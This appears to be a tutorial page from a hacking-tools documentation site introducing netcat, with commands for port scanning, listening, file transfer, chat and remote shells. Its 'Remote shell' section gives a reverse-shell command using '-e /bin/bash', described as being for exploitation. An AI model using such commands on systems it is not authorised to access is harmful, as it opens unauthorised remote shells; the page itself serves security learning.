> For the complete documentation index, see [llms.txt](https://hacktools.aprasanna.com.np/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktools.aprasanna.com.np/netcat/netcat-intro.md).

# Netcat - Intro

<figure><img src="https://3076500874-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fiz2l2usc8AWKK3DkTrmz%2Fuploads%2FIjs2eEl1s5pCdNOcdXVZ%2Fimage.png?alt=media&amp;token=540b320f-886c-493f-80fd-46615fbccc84" alt=""><figcaption><p>netcat</p></figcaption></figure>

## Introduction

Netcat is a versatile networking utility tool used for reading from and writing to network connections using TCP or UDP protocols. It is often referred to as "Swiss Army Knife" of networking tools. It is widely used for network diagnostics, testing, and various network-related tasks.

## Uses

### Port scanning

Netcat can be used to scan for open ports on a target system, which is useful for discovering running services.

```bash
nc -zv [target_ip] [port(s)]
```

(This will scan the target ip's ports from 1 to 1000)

### Port listening

Netcat can listen on specified ports, making it useful for setting up simple servers or for waiting to receive connections.

```bash
nc -l -p [port]
```

(This command listens for incoming connections on port `1234`)

### Data transfer

Netcat can transfer files or data between computers over the network.

```bash
nc -l -p [port] > file.txt
```

(This is for receiver's end)

```bash
nc [receiver_ip] [port] < file.txt
```

(This is for sender's end)

### Chat application

Netcat can be used to create a simple chat application by connecting two instances of Netcat to each other.

```bash
nc -l -p [port]
```

(This is on listener's machine)

```bash
nc [listener_ip] [port]
```

(This is on another machine)

### Remote shell

Netcat can be used to set up remote shells for getting reverse shell or remote administration for exploitation purposes.

```bash
nc -l -p [port]
```

(This is on listener's machine)

```bash
nc [target_ip] [port] -e /bin/bash
```

(This is on target machine)

The `-e` option is used to execute the command `/bin/bash` which starts the bash shell after connection establishment.

## Common Netcat Options

* `-l`: Listen mode for inbound connections.
* `-p`: Local port number to listen on or connect to.
* `-e`: Program to execute after a connection is established.
* `-z`: Zero-I/O mode (useful for scanning).
* `-v`: Verbose mode (provides more information).
* `-n`: Disable DNS resolution (useful for disabling DNS lookups and speeding up operations)
